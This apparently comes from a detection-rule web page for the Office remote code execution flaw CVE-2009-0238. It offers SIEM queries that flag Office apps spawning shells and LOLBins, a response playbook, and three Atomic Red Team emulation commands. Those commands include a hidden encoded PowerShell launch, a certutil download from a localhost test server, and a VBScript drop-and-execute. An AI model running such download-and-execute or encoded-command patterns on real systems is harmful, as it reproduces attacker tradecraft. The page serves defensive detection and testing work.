CVE-2009-0238 Sumo Logic CSE · Sumo

Detect Microsoft Office Remote Code Execution (CVE-2009-0238) in Sumo Logic CSE

CVE-2009-0238 is a remote code execution vulnerability in Microsoft Office (addressed in MS09-009) caused by improper handling of specially crafted Excel files, leading to arbitrary code execution in the context of the logged-on user. This vulnerability is listed in the CISA Known Exploited Vulnerabilities catalog and has been actively exploited in the wild via malicious Office documents delivered through phishing campaigns.

MITRE ATT&CK

Tactic
Initial Access Execution

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=windows/events
| where EventID in ("4688", "1")
| parse field=Message "New Process Name:\t*" as NewProcessName nodrop
| parse field=Message "Creator Process Name:\t*" as ParentProcessName nodrop
| parse field=Message "Process Name: *" as ProcessName nodrop
| parse field=Message "ParentImage: *" as ParentImage nodrop
| eval parent = if(!isNull(ParentProcessName), ParentProcessName, ParentImage)
| eval child = if(!isNull(NewProcessName), NewProcessName, ProcessName)
| where matches(toLowerCase(parent), "excel\.exe|winword\.exe|powerpnt\.exe")
| where matches(toLowerCase(child), "cmd\.exe|powershell\.exe|wscript\.exe|cscript\.exe|mshta\.exe|regsvr32\.exe|rundll32\.exe")
| fields _messagetime, _sourceHost, parent, child
| sort by _messagetime desc
critical severity medium confidence

Sumo Logic query detecting Office suite applications spawning shell interpreters or LOLBins, indicating potential exploitation of CVE-2009-0238 via weaponized Office documents.

Data Sources

Windows Event Log via Sumo Logic Installed CollectorSysmon logs

Required Tables

windows/events

False Positives & Tuning

  • Macro-enabled Office templates used for automated report generation
  • Line-of-business applications that leverage Office Automation APIs with child process spawning
  • IT management tools executing PowerShell from within Office-integrated workflows

Other platforms for CVE-2009-0238

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Office Spawning PowerShell Encoded Command

    Expected signal: Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain

  2. Test 2Office Spawning CMD with Network Download

    Expected signal: Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP

  3. Test 3Malicious Excel File Macro Execution Simulation via WScript

    Expected signal: Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the affected host and user account; pull the process tree for the Office application that spawned the suspicious child process to confirm parent-child relationship.
  2. Retrieve the original Office document that was opened: check recent files, email attachments, and download history. Hash the file and submit to VirusTotal or an internal sandbox.
  3. Determine if the child process made any outbound network connections (C2 beaconing), wrote new files to disk, modified registry run keys, or performed credential access actions.
  4. Check the patch level of Microsoft Office on the affected endpoint to confirm whether MS09-009 has been applied; query EDR for Office version telemetry.

Containment

  1. Isolate the affected endpoint from the network immediately via EDR network containment or VLAN quarantine to prevent lateral movement or data exfiltration.
  2. Revoke active sessions and force password reset for the impacted user account, particularly if credential access tools (e.g., Mimikatz, LSASS dumps) were detected in the child process chain.

Evidence Collection

  1. Collect a memory image of the affected system prior to remediation to capture in-memory shellcode or injected payloads that may not survive a reboot.
  2. Preserve the malicious Office document, all child process command-line arguments, spawned file artifacts, and relevant Windows Event Logs (4688, Sysmon 1, 3, 11) into your case management system.

Escalation Criteria

  • !Escalate immediately if the child process established an outbound connection to an external IP, indicating successful C2 channel establishment post-exploitation.
  • !Escalate if the compromised user account has privileged access (Domain Admin, service account) or if lateral movement to additional hosts is detected within 30 minutes of the initial alert.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Prefetch file for EXCEL.EXE or WINWORD.EXE with an anomalously recent last-execution timestamp relative to the alert time
  • >Recent documents list in HKCU\Software\Microsoft\Office\<version>\Excel\Recent File List or equivalent Word registry key pointing to the malicious file
  • >Sysmon Event ID 11 (File Create) entries showing new executables or scripts written by the Office process to %TEMP%, %APPDATA%, or other user-writable paths
  • >Windows Event ID 4688 or Sysmon Event ID 1 capturing the full command line of the spawned child process

Tuning Guidance

Start by scoping the detection to endpoints that have not yet applied MS09-009 or that are running legacy Office versions. Whitelist known-good macro automation hosts (e.g., scheduled reporting servers) by device name or hostname prefix. If LOLBin child processes are common in your environment due to legitimate automation, add a secondary filter on CommandLine to require the presence of encoded payloads (-enc), network download keywords (DownloadString, WebClient), or known C2 patterns before alerting. Adjust the lookback window from 7 days to 24 hours for high-noise environments and rely on tuned confidence thresholds rather than broadening exclusions.

Hunting Queries

Threat hunt for Office applications writing executable or script files to user-writable directories, indicative of a dropped payload following CVE-2009-0238 exploitation.

Hunting — KQL
kql 
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("excel.exe", "winword.exe", "powerpnt.exe")
| where FolderPath has_any (@"\AppData\Roaming", @"\AppData\Local\Temp", @"\Users\Public")
| where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".ps1" or FileName endswith ".vbs"
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, FolderPath, SHA256
Hunting — SPL
spl 
index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(lower(Image), "excel\.exe|winword\.exe|powerpnt\.exe")
| where match(lower(TargetFilename), "\.exe$|\.dll$|\.ps1$|\.vbs$")
| where match(lower(TargetFilename), "appdata|temp|public")
| table _time, host, user, Image, TargetFilename
| sort -_time

Atomic Red Team Tests

Test 1 Office Spawning PowerShell Encoded Command
windows

Simulates CVE-2009-0238 post-exploitation by launching Excel, which in turn runs a PowerShell encoded command via a macro, mimicking the shellcode -> script execution chain.

Command

powershell 
powershell.exe -Command "Start-Process 'C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE' -ArgumentList '/e'; Start-Sleep 3; Start-Process powershell.exe -ArgumentList '-EncodedCommand JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA==' -WindowStyle Hidden"

Cleanup

powershell 
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue; Stop-Process -Name EXCEL -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1 showing EXCEL.EXE as parent process of powershell.exe with a -EncodedCommand argument; DeviceProcessEvents in MDE capturing the parent-child chain

Expected Detection

KQL and SPL queries trigger on EXCEL.EXE -> powershell.exe parent-child relationship with EncodedCommand flag

Test 2 Office Spawning CMD with Network Download
windows

Emulates the exploitation pattern where a malicious Office macro drops to cmd.exe and attempts a certutil-based file download, a common post-exploitation technique following Office RCE.

Command

powershell 
cmd.exe /c "start /b cmd.exe /c certutil.exe -urlcache -split -f http://127.0.0.1:8888/test.exe %TEMP%\test_artifact.exe"

Cleanup

powershell 
del /f /q %TEMP%\test_artifact.exe 2>nul

Expected Telemetry

Sysmon Event ID 1 for cmd.exe and certutil.exe processes; Sysmon Event ID 3 (Network Connect) from certutil.exe to 127.0.0.1:8888; Sysmon Event ID 11 for test_artifact.exe creation in TEMP

Expected Detection

Detection fires on certutil.exe spawned in Office parent context; network download indicator enriches alert severity

Test 3 Malicious Excel File Macro Execution Simulation via WScript
windows

Simulates a weaponised Excel file that executes a VBScript via WScript.exe as a child process, a technique used in CVE-2009-0238 exploit chains to achieve persistence or download stages.

Command

powershell 
cmd.exe /c "echo Set oShell = CreateObject(""WScript.Shell"") > %TEMP%\sim_payload.vbs && echo oShell.Run ""calc.exe"", 0, False >> %TEMP%\sim_payload.vbs && wscript.exe %TEMP%\sim_payload.vbs"

Cleanup

powershell 
del /f /q %TEMP%\sim_payload.vbs 2>nul; Stop-Process -Name calc -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11 for sim_payload.vbs creation; Sysmon Event ID 1 for wscript.exe and subsequently calc.exe process creation; parent chain visible in EDR

Expected Detection

Detection captures wscript.exe spawned in Office parent context; VBScript drop-and-execute pattern aligns with documented CVE-2009-0238 attack chains

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1203Exploitation for Client ExecutionT1566.001Spearphishing AttachmentT1059.001PowerShell

Same Tactic: Initial Access

Popular Detections